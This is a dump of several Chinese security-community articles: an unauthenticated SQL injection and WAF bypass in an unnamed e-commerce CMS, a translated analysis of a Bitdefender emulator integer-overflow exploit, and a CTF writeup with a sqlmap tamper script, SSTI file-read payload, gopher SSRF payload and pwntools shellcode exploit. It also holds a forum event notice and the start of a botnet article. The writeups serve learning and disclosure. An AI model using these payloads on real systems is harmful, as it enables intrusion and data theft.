text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## 前言
贴接上一回，之前写了下[某电商cms低版本前台任意代码执行漏洞分析](https://xz.aliyun.com/t/2709
"某电商cms低版本前台任意代码执行漏洞分析")，这一次讲讲最新版本前台一个无须登录的sql注入与及绕waf，算是一个小0day，没有什么新东西，但是没有什么限制的洞还是很少见的（本人能力有限）。为了不影响厂商，下面涉及到厂商的地方用`xxxxx`字样进行打码。
## 系统简介
系统的基础知识就不多讲了，参考之前帖子说的[系统简介](https://xz.aliyun.com/t/2709#toc-1 "系统简介")
高版本的变化主要是调整了配置文件与GET、POST全局变量注册的顺序，与及对传入的数据加了`addslashes`。（其实就是这里的内容[漏洞修复](https://xz.aliyun.com/t/2709#toc-3
"漏洞修复")）
## 漏洞分析
看到代码文件：`inc\module\apidata.php`
顾名思义这是一个api接口调用的处理文件，其整体逻辑也是如此
`if`代码段就是对API类的创建与调用
跟进`xxx_API`类:`inc\lib\xxxxx_API.php`
看到构造方法里面的代码：
OK，注意到内部的`access_token`是硬编码，那么我们就可以传入相同的数据，轻松通过验证。
接下来就是寻找可以利用的方法。
因为程序使用了`addslashes`进行过滤，那么我们要sql注入就不能是被单引号或者双引号包裹的，不能被强转数据类型(intval)。
正则匹配一下:`[\"|\']\.\$[0-9a-zA-Z_]+[\.|;]`，匹配用单或双引号包裹的字符串，用点号两边连接变量，或者左边点号连接，右边分号结束的数据。
形如:`".$xxx."`，`'.$xxx.'`,`".$xxx;`等。
有很多，刷选能用的，因为我们需要在api方法里面用到，需要同时满足两个条件：
1，存在注入
2，在api类里面的方法调用到了
比如`inc\lib\users.php`文件中的`get_fav`方法，其中`$goods_id`变量就没有单双引号包裹，且在方法内变量没有被强转数据类型。
直接拼接存到`$where`变量，后面又拼接到sql语句中。
查找定位方法，发现用在了api类的`goods`方法。
分析其逻辑
其中`get_goods`方法是根据`$goods_id`来获取商品数据，在拼接到sql语句前会进行`intval`强转，但这个并不影响，只是在方法内对形参进行强转，不影响原来的参数。
那么只需要找到存在的一个商品的ID，传入到`goods_id`和`uid=1`即可。
综合漏洞点的sql语句，payload大概为这样子：
http://127.0.0.1/apidata.html?act=goods&goods_id=122+and+updatexml(1,concat(0x7e,user,0x7e),1)--&uid=1&access_token=thisisaccess_token
这样是没有问题，但是底层是有waf过滤的，我们换一个payload，比如去获取管理员的用户名。
就会提示网址有误，原因是用了`select from`，匹配上了waf。
分析waf代码逻辑
`index.php`里面的代码逻辑
那么思路就很简单了，我们根本不需要去硬干waf，在GET里面传入`admin.html`，在POST里面传入`p=apidata`即可绕过waf，但又能够正常访问到我们的目标函数。
至此，漏洞分析结束。这里只是以一个函数为例，其他函数应该也是有问题，但原理相同，不再一一举例。
## 总结
总的来说，漏洞的原理就是api接口的`access_token`用了硬编码，使我们可以直接'绕过'验证，使用api接口里面有漏洞的方法，还有就是waf使用了白名单过滤以及全局变量注册，使得我们可以通过覆盖变量的方式，使请求在白名单内，最终轻松绕过waf。
漏洞没有登录或者是其他特殊的限制，至于商品ID的问题只需要对100~1000以内的数据进行爆破一下即可，等同于无。 | 社区文章 |
# 分析杀毒软件BitDefender中的整数溢出漏洞（第二部分）——漏洞利用
|
##### 译文声明
本文是翻译文章，文章来源：zerodayinitiative.com
原文地址：<https://www.zerodayinitiative.com/blog/2018/6/19/analyzing-an-integer-overflow-in-bitdefender-av-part-1-the-vulnerability>
译文仅供参考，具体内容表达以及含义原文为准。
如果你还没有阅读本系列的第一部分，请在[此处查看](https://www.anquanke.com/post/id/149402)。
我们的上一篇文章回顾了来自Pagefault提交的内容，详细介绍了Bitdefender
杀毒软件产品中的整数溢出问题。虽然仅依靠这些内容就足以向供应商提交一份漏洞报告，但Pagefault还通过提供一个概念验证（PoC）漏洞利用来进一步支持该报告。以下是实际中的利用：
Youtube视频连接：<https://youtu.be/fPK8UjAogWg>
Pagefault提供了关于漏洞如何工作的以下细节。
## 漏洞利用
由于终止条件是一个虚拟的越界读取，以及Bitdefender代码仿真器实现SEH的事实，我们可以多次重写覆盖。我们还可以通过修改执行的代码来调整被覆盖的长度和内容。
该vsserve.exe可执行文件的确会唤醒ASLR和DEP，然而通过在JIT页面内利用与位置无关的shellcode，漏洞利用绕过了这些缓解措施。实现代码执行需要操纵任意的内存地址。
Bitdefender仿真器为仿真程序提供虚拟地址空间。一个0x1000字节的仿真器页面具有一个0x1048字节的相应实际页面，其中包含几个帮助仿真在页面上操作的字段：
在仿真程序内部遇到的多个VirtualAlloc调用和相关的内存访问将导致创建多个0x1048结构，随后在遇到相应的VirtualFree调用，这些结构将被释放。
在内部，0x1048分配通过[msvcrt的](https://msdn.microsoft.com/en-us/library/abx4dbyh.aspx) malloc()执行，并落在低碎片堆（LFH）中。对于Windows
7及以下版本，继续利用的方法是分配多个虚拟页面，释放至少一个虚拟页面，触发分配并溢出0x1048缓冲区的脆弱功能，然后破坏这个虚拟页面。
对于Windows
8及以上版本，LFH增加了随机性，使得堆不那么确定。漏洞利用通过将LFH随机表位置重新设置为在重新分配尝试之间的0xFF分配，从而绕过了随机化。为了实现所需数量的内存分配并避免额外分配，必须为仿真代码创建JIT代码。这是通过执行一段代码至少34次来实现的。
在Windows 8及以上版本上实现漏洞利用的步骤示例：
l NUMPAGES（例如60个）虚拟页面被分配；
l 在LFH库中有一个随机的位置，最后一页被释放；
l 随后是0xFF分配（JIT被触发以精确地针对这个数字）；
l 脆弱的功能被触发，脆弱的缓冲区被分配来代替最后一页；
l 触发8个字节的有限覆盖，并检查其他NUMPAGES-1虚拟页面，以查看其内容是否被修改；
l 如果检测到修改：
n 0xFF分配总数必须发生在脆弱缓冲区和下一个缓冲区之间的最后分配之间；
n 0x1048字节的另一个缓冲区被分配到与最后一个字节相同的位置，并且这一次覆盖了足够多的字节（0x1024），允许漏洞利用。
l 如果未检测到修改，漏洞利用则将分配另一组虚拟页面并重复这个过程。
重复这个过程直至检测到修改或达到重试限制。有限的覆盖是必需的，以避免碰到攻击保护页面。
一旦虚拟页面被修改，任何访问它的尝试都会受到影响。偏移量0x1020处的dword决定了用于计算被访问内存的真实地址所需要使用的目标读/写地址：
real_address = real_address_base + requested_virtual_address – dword[0x1020]
这使我们可以写入任意的偏移量。在这种情况下，可以修改位于已损坏缓冲区之前的第二个虚拟缓冲区的偏移量0x1020，从而允许对第二个虚拟缓冲区的写入偏移量进行重复控制。换句话来说，我们将损坏的缓冲区指向先前的缓冲区：
到目前为止所描述的所有技术都可以通过任意偏移量实现可靠的读/写原语。然而，这对于代码执行来说是不够的。
如果一段代码被仿真器解释至少34次，那么JIT编译就会启动，然后仿真器解释给定的操作码并构造相应的动态代码，以便对仿真代码执行以下调用。构造的代码被放置在一个可写和可执行的内存页面中。
对于每个JIT段，malloc()分析重复代码时都会创建一个内存结构。该内容结构的大小可以通过在仿真代码中放置计算指令来控制。通过多次调用具有多个push
ecx/pop ecx对的函数，可以实现0x1048字节的大小。
重复调用的函数数组由相同的内容构成，并且只有在实现了任意读写功能后才会对每个函数执行第34次调用，并释放最后一个脆弱的缓冲区。
其中一个虚拟缓冲区占用的空间将被其中一个JIT结构占用，因此我们可以使用读/写偏移量来访问它。相对于控制的虚拟页面，JIT缓冲区被放置为0x1108*x字节（0x1108
= 0x1048，四舍五入到最近的LFH大小，为块标头添加了8个字节）。
JIT结构从几个有用的字段开始：
通过在偏移量0x2C处读取dword，我们可以提取损坏的虚拟页面的实际地址，从而可以进一步对任意地址进行读写，而不仅仅是对任意偏移量进行读写。新获得的能力接下来用于修改放置在JIT结构中第一个dword所指向的地址处的字节。
一个自定义的shellcode将包含的可执行文件转储到文件中并执行，它被放置在编译后的JIT代码中，，该代码在下一个调用对应的JIT编译函数的调用中执行。shellcode以一个TerminateProcess()结尾，避免了由于损坏的堆而导致的潜在崩溃。
## 结论
如果你想自己测试一下，PoC就在[这里](https://github.com/thezdi/PoC/tree/master/CVE-2017-17408)。它应该在73447之前的BitDefender版本上工作。
这个漏洞还表明，即使启用诸如ASLR和DEP这样的缓解措施，熟练的攻击者仍然可以找到执行代码的方法。如果你是一位开发人员，希望避免软件中出现整数溢出问题，CERT提供了一些关于如何避免在各种操作中出现带符号整数的溢出的优秀[指南](https://wiki.sei.cmu.edu/confluence/display/c/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow)，这是绝对值得回顾。最后，感谢Pagefault的报告和Bitdefender对问题的及时解决。
审核人：yiwang 编辑：少爷 | 社区文章 |
# 2018湖湘杯复赛-WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> By DWN战队
web这块基本都是原题，仅作参考。
差一题pwn200 AK。
## 签到题 SingIn Welcome
## WEB Code Check
访问是一个登陆页面，查看源码有一个链接。
news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09
尝试注入，一直返回数据库错误。
然后在news目录下发现源码list.zip
<?php
// header('content-type:text/html;charset=utf-8');
// require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}
$id=decode("b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09");
echo $id;
// $sql="select id,title,content,time from notice where id=$id";
// $info=$link->query($sql);
// $arr=$info->fetch_assoc();
// ?>
// <!DOCTYPE html>
// <html lang="en">
// <head>
// <meta charset="UTF-8">
// <title>X公司HR系统V1.0</title>
// <style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
// </head>
// <body>
// <div class="body">
// <div class="title"><?php echo $arr['title']?></div>
// <div class="content"><?php echo $arr['content']?></div>
// </body>
// </html>
b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09就是1加密过的。
需要逆推一下这个函数。
function encode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = $data .'hxb2018';
$data = mcrypt_generic($td,$data);
$data=base64_encode(base64_encode($data));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
// echo substr(trim($data),0,strlen(trim($data))-7)；
echo $data;
}
然后将我们的payload直接加密然后注入。
由于比较麻烦，tamper省事一点
hxb.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import base64
from Crypto.Cipher import AES
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def encrypt(text):
padding = ''
key = 'ydhaqPQnexoaDuW3'
iv = '2018201920202021'
pad_it = lambda s: s+(16 - len(s)%16)*padding
cipher = AES.new(key, AES.MODE_CBC, iv)
text = text + 'hxb2018'
return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))
def tamper(payload, **kwargs):
return encrypt(payload)
很多人没注意notice2
直接一把嗦：
sqlmap -u "http://47.107.236.42:49882/news/list.php?id=1" --tamper hxb.py --dump-all -T "notice,notice2,stormgroup_member" -D mozhe_discuz_stormgroup
## WEB XmeO
没啥好说的，基本的SSTI
直接找xss bot源码
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat //home/XmeO/auto.js").read()' )
hh
## WEB MyNote
注册一个账号，发现可以上传。
查看上传的图片
有一个picture的cookie
数组的反序列化读取文件。
robots.txt可以知道存在flag.php
payload：
$wing[] = '../../flag.php';
echo urlencode(base64_encode(serialize($wing)));
发送过去，看到了data协议的数据。
解码
## WEB ReadFIle
这题也没什么考点，emmm。
file协议可以读取到文件。
首先发现ssrf目录下的web.php
出题人原意可能是想让我们用gopher打。
但是源码里面有一个这个：/var/www/html/ssrf/readflag
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}
}
curl 保存到本地。
用ida分析一下
flag在ssrf目录…..
gopher参考：
%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%2f%5f%50%4f%53%54%20%2f%73%73%72%66%2f%77%65%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%25%30%64%25%30%61%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%36%25%30%64%25%30%61%55%73%65%72%2d%41%67%65%6e%74%3a%20%63%75%72%6c%2f%37%2e%34%33%2e%30%25%30%64%25%30%61%41%63%63%65%70%74%3a%20%2a%2f%2a%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%31%30%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%64%25%30%61%25%30%64%25%30%61%75%73%65%72%3d%61%64%6d%69%6e
> 这次的re难度不是太大……但是re2和re3都有点偏门，不太硬核233 但也挺有意思的
## Replace
upx -d脱壳，然后是一个比普通签到略复杂一点的签到题，没什么好说的
要求table[input[i]] == atoi(data[2*i]+data[2*i+1])^0x19
table = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
s = bytes.fromhex("2a49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad67786e21d5adae6")
for i in range(len(s)):
v = table.index(s[i]^0x19)
print(chr(v), end='')
## HighwayHash64
从题目和描述的Hash，以及输入提示的
> Note:hxb2018{digits}
就可以猜到，这估计是个爆破Hash的题目
看了一下hash函数中初始化结构体的部分跟md5不同，查了也没有信息，所以可能是自定义的哈希算法
刚开始尝试了一下扒代码到编译器中复现，然而有很多ROL的宏定义，比较麻烦，所以直接调用该函数是比较方便的
调用函数有两种方法，一种是写一个dll注入到exe中进行调用，另一种则是将该exe直接改成dll，另外写一个exe来调用
前者日后再尝试吧，相对而言感觉要复杂一些
后者只需要将exe的PE头中的标志位修改，再通过RVA(Relative Virtual Address)获取函数地址即可
具体方法为，首先通过十六进制编辑器修改PE头
这里使用010Editor一类的工具会比较方便
* NtHeader
* Characteristics
* IMAGE_FILE_DLL标志位
将该位改为1即可通过LoadLibrary调用
typedef __int64(__fastcall *f)(__int64 buff, unsigned __int64 len);
int main()
{
HINSTANCE hdll;
hdll = LoadLibrary(TEXT("F:\ctf\hxb\2018\reverse.dll"));
if (hdll == NULL)
{
printf("Load dll Error: %dn", GetLastError());
return 0;
}
printf("Dll base is %llxn", hdll);
func = ((f)((char*)hdll + 0x17A0));
}
注意编译的时候由于dll是x64的，因此exe理应也是用x64的
以及这里的函数声明需要使用__fastcall的调用约定，因为从汇编可以看出来
mov edx, 4
mov [rsp+158h+var_138], eax
lea rcx, [rsp+158h+var_138]
call hash
传参使用的rcx和rdx，如果用其他调用约定的话通常会用栈传参
IDA其实是已经识别出来的
返回值则需要自己根据内容看出来，向rax放了一个int64的值
mov rax, qword ptr [rsp+0C8h+md5_struct]
add rax, qword ptr [rsp+0C8h+md5_struct+20h]
add rax, qword ptr [rsp+0C8h+md5_struct+40h]
add rax, qword ptr [rsp+0C8h+md5_struct+60h]
这里IDA是识别错误的
接下来就可以直接使用该函数来爆破了
do
++len;
while ( Dst[len] );
v7 = len;
if ( hash((__int64)&v7, 4ui64) != (char *)0xD31580A28DD8E6C4i64 )
第一次hash使用的是len的地址，也就是把长度视作一个4字节的char数组来进行hash
因此我们首先要算出flag的长度
爆破的时候也提供一个int的空间即可
void len()
{
int i;
unsigned long long result;
for (i = 0;i<50; i++)
{
result = func((long long )&i, 4);
if (result == 0xD31580A28DD8E6C4)
{
printf("Len is %dn", i-9);
return ;
}
}
printf("Not found the lenn");
return;
}
很快可以得出i=19，然后掐去前后的格式字符共9个，即可知道中间的内容是十个十进制数了
接下来可以通过sprintf快速制作10个字节的十进制数，然后穷举
void hash()
{
unsigned long long i;
unsigned long long result;
char buff[20];
for (i = 0; i < 10000000000; i++)
{
sprintf_s(buff, "%0.10llu", i);
if (i % 100000 == 0)
{
printf("%0.10llun", i);
}
result = func((long long)buff, 10);
if (result == 0x7CDCCF71350B7DB8)
{
//5203614978
printf("flag is %lldn", i);
return;
}
}
}
赛后交流了一下，flag的hash是不一样，所以复现的时候需要自己改一下
## More efficient than JS
题目文件下载下来就能看到一个wasm，再结合题目，很显然又是WebAssembly逆向……越来越多的出题人开始搞这东西了orz
目前Chrome和Firefox都没有针对它出好用的调试器，只能用js的调试器凑活看，所以我的经验就是直接动调，用wabt组件反编译出的c和wat来辅助分析
运行了一下直接在fetch的地方报错，让队里师傅给搭了个http环境才能跑起来
以往的wasm题目都是在html中调用函数，这次找了一圈也没有看到
跑起来以后什么都不显示直接弹窗，估计是js中的代码，于是根据提示内容”Input:”找到了这里
在这下断，然后刷新果然断到了，但是接着单步跟下去就会进到一个死循环里
这个循环执行完以后又会回到弹窗里，于是有点懵逼
（动态调试和静态分析的相关技巧可以在我前两天的[博客](https://blog.csdn.net/whklhhhh/article/details/84146188)中找到）
后来在wat里发现了一个函数的名字叫做_main
果断下断，发现刷新页面以后会先执行wasm中的_main函数，然后到f98的调用时开始弹窗，点击取消以后会继续执行
再往后两个调用，到f42的时候注意它的参数执行完后会取出值，返回值则是len
然后在f22的5个参数中就可以发现各种有趣的东西了，注释如下
其中f22是核心的加密函数，在里面不断地单步跟，有选择地跳过
（其实最关键的就是几个循环中的i32_load），看它们从哪里取值以及取出来的是什么值即可
个人认为wasm的关键在于跟随数据而不是代码（因为代码太恶心了orz）
中间可以看到根据key去往后table中取值，但是最后与输入有关的只是异或，因此可以输入一串0，从而得到异或的值
然后从f23中的一个循环中使用的地址得到结果数组，最后异或求解即可
input = [[137, 221, 46, 119, 76, 156, 92, 92, 137, 215, 225, 85, 132, 233, 53, 206, 231, 78, 160, 89, 133, 178, 65, 60, 63, 29, 11, 164, 233, 71, 5, 192, 227, 190, 31, 178, 177, 218, 213, 38, 217, 39, 137, 164, 117, 224]]
output = [223, 129, 127, 32, 7, 196, 13, 28, 201, 158, 142, 23, 215, 237, 120]
for i in range(len(output)):
print(chr(input[i]^ord('0')^output[i]),end='')
> flag{happy_rc4}
从这个flag来看算法应该是rc4，也比较负责动调中感觉到的，根据key变换table然后取table的值和明文异或
因为这个算法的特性所以也可以理解为和密钥流异或23333
## MISC Hidden Write
010看到3个ihdr和iend，分别抠出来，补齐png头89 50 4E 47 0D 0A 1A 0A
后面的两个图片存在盲水印，解出来得到flag最后一段
文件结尾字符串得到flag中间一段
然后是一个lsb隐写找到flag的第一段
## MISC Flow
首先跑wifi密码，开始跑8位数字没跑出来，于是换了一个wpa常用密码的字典去跑，秒出结果orz
参考：<https://xz.aliyun.com/t/1972>
解密流量，然后跟踪tcp流，得到flag
## MISC Disk
用winimage打开看到4个flag.txt
提取后看到是一堆01串，脚本解一下
## PWN Regex Format
保护全无，所以做法有很多了，我的思路是往bss上写shellcode，然后栈溢出劫持控制流到我布置好的shellcode上。
这题比较烦的就是逆向部分了吧，首先读取regex
format到.data的aBeforeUseItUnd变量后，这是做正则表达式的。然后读取一个字符串到bss上，是正则表达式匹配的对象。
程序首先会在0x08048680处的函数对正则表达式进行一个解析，比较烦的是，前面的内容是固定的Before :use$ it, :understand$*
it :first$+.，即aBeforeUseItUnd变量
一顿操作后将正则表达式分成了好几段，我们gdb看下
然后这里进行循环去匹配每段正则表达式
不过sub_8048930的第3个参数为s，而s是char s; // [esp+474h]
[ebp-D4h]，那这里就可以去进行一个栈溢出操作了，去这个函数看看
可以看到，只要正则匹配，程序就会一直进行一个赋值操作，将bss上的数据赋值给栈上的s，于是问题就是如果使这个正则一直匹配下去。很简单，我们把bss上要写的内容放进去就行了嘛。
经过一顿调试后，最终写出了如下exp
完整exp：
#-*- coding: utf-8 -*- from pwn import *
__author__ = '3summer'
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
st = lambda delim,data :io.sendthen(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
slt = lambda delim,data :io.sendlinethen(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = ''
gdbscript += 'directory %smallocn' % glibc_dir
gdbscript += 'directory %sstdio-common/n' % glibc_dir
gdbscript += 'directory %sstdlib/n' % glibc_dir
gdbscript += 'directory %slibion' % glibc_dir
elf_base = int(os.popen('pmap {}| awk 27{{print 241}}27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
log.info(gdbscript)
gdb.attach(io, gdbscript)
def exploit(local):
_nop = asm(shellcraft.nop())
_sh = asm(shellcraft.sh())
_re = 'Before use$ it, understand$* it first$+.'
_sh_addr = 0x0804A24C+0xd4+12*4
sla('formatn', ':'+p32(_sh_addr)+_nop+_sh.replace('$', '')+'$*')
sla('matchn', _re.ljust(0xd4, _nop) + p32(_sh_addr)*12 + _sh)
sl('n')
sl('./flag')
irt()
if __name__ == '__main__':
binary_file = './pwn1'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
elf = ELF(binary_file)
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
# libc = ELF('./libc.so.6')
exploit(False)
else:
io = process(binary_file)
libc = elf.libc
exploit(True)
## PWN Hash Burger
<https://github.com/SECCON/SECCON2017_online_CTF/tree/0a8bbd28544fbd89bed0f0e3eafa7b09a0165a6b/pwn/300_hash_burger>
Get原题一枚，exp拿下来，改下ip，端口，libc路径，直接打
## Crypto Common Crypto
很明显有两个函数与加密相关
key_generate函数中对key_struct的前16个字节进行了赋值，也就是128位的key
然后在之后与一个数组—搜索之后可以发现它是AES的SBox，进行异或，产生了轮密钥
然后在下一个函数，AES_encrypt中进行了明文和key_struct的运算
AES的特征是十轮运算、每轮进行字节替换、行移位、列混淆、轮密钥加，最后一轮缺少轮密钥加
所以要不是在十轮循环中有一个判断，要不就是九轮循环+额外三个步骤
函数内是满足这样的流程的
使用AES进行加密与动调获得的结果可以互相验证
sprintf调用了32次，而加密的结果只有16个字节，因此结果字符串中前32个字符为密文，后32个字符为明文的hex_encode
前半段进行解密、后半段则hex_decode即可
from Cryptodome.Cipher import AES
key = bytes.fromhex("1b2e3546586e72869ba7b5c8d9efff0c")
aes = AES.new(key, AES.MODE_ECB)
plain = aes.decrypt(bytes.fromhex("4dd78cfbcfc1dbd9e8f31715bf9c3464"))
print(plain)
print(bytes.fromhex("35316565363661623136353863303733"))
Good Job！ | 社区文章 |
来几个表情吧
先知社区主题探讨及话题征集活动
【活动主题】共享单车的智能锁安全探讨
【活动时间】2017年6月30日-7月14号（二周）
【活动范围】先知安全技术社区
【活动内容】活动期间，统一针对某特定主题研究进行技术交流。
【活动说明】登陆论坛官方统一开设主题帖内进行回复，内容子主题（包含但不限于）
【本期主题】共享单车的智能锁安全
1、 智能锁类型
2、 工作原理
3、 目前的安全问题
4、 对共享单车业务的影响
5、 最新的攻击手法
6、 安全的解决方案
7、 未来的发展趋势
【活动奖励】开设二个不同等级的奖项
一等奖：2000元ECS代金券（最多奖励TOP10）
二等奖：{先知笔记本}或{阿里云T恤}或{公仔}
意外奖：FOFA会员一枚，价值300元 （感谢白帽汇赞助）
【如何才能获奖】
一、精品内容：优质话题讨论内容，给予一等奖发送。（由管理员进行统一评审，子主题标红的内容为重点关注“该领域的安全问题+攻击手法+解决方案”）
二、盖楼幸运奖：根据盖楼用户数量累加，逢7或者包含7的楼层用户给予二等奖发送。
楼层数字为：7.17.27.37.47.57.67.77.87.97（共计10位用户）
活动结束后，官方会关闭活动贴并统计公布获奖名单，奖励将于7个工作日内发放。
【活动规则】
1.获奖名单以活动结束，活动帖子关闭之后的状态为准。
2.回帖内容必须是与该主题相关的分析讨论。发布带有非主题相关性的或者其它内容的不能参与本次活动。
3.每个论坛账号只能获得1个盖楼奖励，（如账号A满足7楼和17楼的楼层，只给予1次奖品发送）
4.获得精品内容的用户需要有阿里云账号才能进行ECS代金券的发送。
5.本活动最终解释权归先知社区所有。
PS题外话：
大家平时都关注哪些领域的安全，比较喜欢或者感兴趣的的方面有哪些，欢迎在下面留言，让我们更加了解一下各位同学的看法，以便让后续的知识的分享、探讨、或者积累更有目的性和系统性，谢谢大家大家的捧场，撒花
获奖名单：
1. 息希 （2000ECS代金券 ）
2. 季雨林 （2000ECS代金券）
3. 浪漫的大核桃 （T恤&公仔）
4. 静默 （T恤&公仔）
5. D （T恤&公仔）
6. wooyun （&T恤&公仔）
7. lcamry（T恤&公仔）
8. tyy圈圈（T恤&公仔）
9. 11楼作者（T恤&公仔）
恭喜以上各位获奖，
请1、2获奖者私信我阿里云账号
请3—9获奖者私信我：收获地址 收件人 手机号码 T恤尺寸
后续欢迎晒图~~~ | 社区文章 |
# 行走的漏洞利用机器人：僵尸网络病毒携71个EXP占领高地
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
僵尸网络 Botnet 是指采用一种或多种传播手段，将大量主机感染bot程序（僵尸程序）病毒，从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。
攻击者通过各种途径传播僵尸程序感染互联网上的大量主机，而被感染的主机将通过一个控制信道接收攻击者的指令，组成一个僵尸网络。之所以用僵尸网络这个名字，是为了更形象地让人们认识到这类危害的特点：众多的计算机在不知不觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着，成为被人利用的一种工具。
而本文提到的一种最新的僵尸网络Mirai变种ECHOBOT，足足使用了71个漏洞利用(EXP)，将对每一个资产进行漏洞批量扫描，要知道，半年前还有13个漏洞并没有加入他们的利用库中，这比很多漏洞扫描工具的更新速度还要快。
此外还将对近期披露的关于网军与僵尸网络合作共赢一事阐述。
## ECHOBOT僵尸网络
